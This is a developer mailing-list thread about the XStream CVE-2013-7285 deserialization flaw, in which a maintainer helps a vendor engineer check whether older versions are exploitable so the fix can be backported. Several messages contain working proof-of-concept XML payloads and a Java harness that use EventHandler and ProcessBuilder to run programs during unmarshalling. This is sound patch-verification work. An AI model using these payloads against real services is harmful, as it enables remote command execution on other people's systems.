Hi David,
Post by David JormPost by Jörg SchaibleHi David,
Post by David JormPost by Jörg SchaibleHello,
the XStream project is pleased to announce the release of XStream
1.4.7.
The release is primarily a security release to address CVE-2013-7285.
XStream will no longer handle any java.bean.EventHandler instance as
immediate consequence. If you know what you do, you may still register
the ReflectionConverter for this type. Unless you unmarshal such
objects, XStream 1.4.7 is meant as drop-in replacement.
XStream contains now on top of this a security framework, where you can
fine- control any type that is permitted by XStream to unmarshall. All
http://xstream.codehaus.org/security.html
http://xstream.codehaus.org/downloads.html
Enjoy,
XStream Committers
Thanks very much for shipping this release!
I am currently working on backporting patches to older versions of
XStream that ship in Red Hat products. The oldest is XStream 1.3.1, and
I am unable to reproduce an exploit of this issue on 1.3.1. When using a
PoC exploit based on the details published by Dinis Cruz (I won't attach
it as that would only encourage usage by unskilled attackers), it works
against XStream 1.4.x, but not 1.3.1. I had to modify the exploit XML in
http://jira.codehaus.org/browse/XSTR-573
http://jira.codehaus.org/browse/XSTR-576
Even with these changes, instead of executing the process defined by the
com.thoughtworks.xstream.converters.ConversionException: Cannot
construct java.beans.EventHandler as it does not have a no-args
constructor : Cannot construct java.beans.EventHandler as it does not
have a no-args constructor ---- Debugging information ----
message : Cannot construct java.beans.EventHandler as it
does not have a no-args constructor
com.thoughtworks.xstream.converters.reflection.ObjectAccessException
cause-message : Cannot construct java.beans.EventHandler as it
does not have a no-args constructor
class : java.util.TreeSet
required-type : java.beans.EventHandler
path : /tree-set/dynamic-proxy/handler
-------------------------------
This leads me to question whether XStream <= 1.3.1 is actually affected
by this issue. At this point, I must profess ignorance. I know very
little about XStream, I only really started looking at it in order to
address this security issue. Can any of the developers provide any
input? Is 1.3.1 missing a feature that is necessary to exploit this
issue? Or does the exploit just require further modification?
Please feel free to reply to me directly if 1.3.1 is exploitable and you
don't want to publicly circulate details regarding exploitation. I will
handle any information given in private as strictly confidential.
XStream 1.3.1 does nothing know about Oracle as Java vendor, so it uses
the PureJavaReflectionProvider as fallback which requires a default
constructor in return. Simply use an old Java 6 or directly Java 5 and
you'll see that the exploit "works"... or provide a
Sun14ReflectionProvider instance as constructor argument to XStream.
Even 0.x versions of XStream have a DynamicProxyConverter, a
ReflectionConverter and a Sun14ReflectionProvider and might potentially
be affected.
Cheers,
Jörg
Thanks for the insight, Jörg. Using Java 6, the exploit runs
successfully, but the EventHandler is never called. Using the following
FileReader fileReader = new FileReader("input.xml");
Object obj = xStream.fromXML(fileReader);
System.out.println(obj.toString());
System.out.println(xStream.toXML(obj));
<tree-set>
<no-comparator />
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/usr/bin/evince</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</tree-set>
The attack works against XStream 1.4.6. The code throws an exception on
java.lang.UNIXProcess cannot be cast to java.lang.Integer
---- Debugging information ----
message : java.lang.UNIXProcess cannot be cast to
java.lang.Integer
cause-exception : java.lang.ClassCastException
cause-message : java.lang.UNIXProcess cannot be cast to
java.lang.Integer
class : java.util.TreeSet
required-type : java.util.TreeSet
com.thoughtworks.xstream.converters.collections.TreeSetConverter
path : /tree-set
version : 1.4.6
Running against XStream 1.3.1, no exception is thrown, and the following
<tree-set>
<no-comparator/>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/usr/bin/evince</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</tree-set>
i.e. it seems like the DynamicProxy object is successfully deserialized,
but the EventHandler is never called. Any insight into what might be
happening? Sorry again if I am missing something obvious due to my poor
knowledge of XStream.
Actually the example with the tree-set should not have worked for recent
1.4.x versions also. Main reason is http://jira.codehaus.org/browse/XSTR-407
which has been part of XStream since version 1.3.0.
In short: When deserializing a sorted set, XStream tries to setup the
collection without any invocation of a comparator, because the items are
already in sort order and calling the comparator or the item's compareTo
method might have unwanted side-effects. Unfortunately there's again no
official method to do so and XStream tries to fool the TreeSet (or TreeMap).
However, I had some time ago another report from a user that our neat trick
no longer works, but I did not found the time to investigate.
Therefore the XML above does not have to cause the execution of the shell
directly at deserialization time.
You may give this code a try using the comparator directly for the exploit:
============================== %< ========================
public class Main {
public static void pureJava() {
Set set = new
TreeSet((Comparator)EventHandler.create(Comparator.class, new
ProcessBuilder(
"gview", "/etc/fstab"), "start"));
set.add("foo");
set.add("bar");
}
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
xstream.registerConverter(new
ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider(),
EventHandler.class));
String message = "Deserialization failed";
try {
Set set = (Set)xstream.fromXML(
""
+ "<string class='tree-set'>\n"
+ " <comparator class=\"dynamic-proxy\">\n"
+ " <interface>java.util.Comparator</interface>\n"
+ " <handler class='java.beans.EventHandler'>\n"
+ " <target class='java.lang.ProcessBuilder'>\n"
+ " <command>\n"
+ " <string>gview</string>\n"
+ " <string>/etc/inittab</string>\n"
+ " </command>\n"
+ " </target>\n"
+ " <action>start</action>\n"
+ " </handler>\n"
+ " </comparator>\n"
+ " <string>foo</string>\n"
+ " <string>bar</string>\n"
+ "</string>");
message = "Deserialized set.toString() failed";
System.out.println(set.toString());
message = "Deserialized set.add(baz) failed";
set.add("baz");
} catch (RuntimeException e) {
System.out.println(message + ". " + e.getMessage());
}
try {
message = "Setup with pure Java failed";
pureJava();
} catch (RuntimeException e) {
System.out.println(message + ". " + e.getMessage());
}
}
}
==================================== %< ============================
Cheers,
Jörg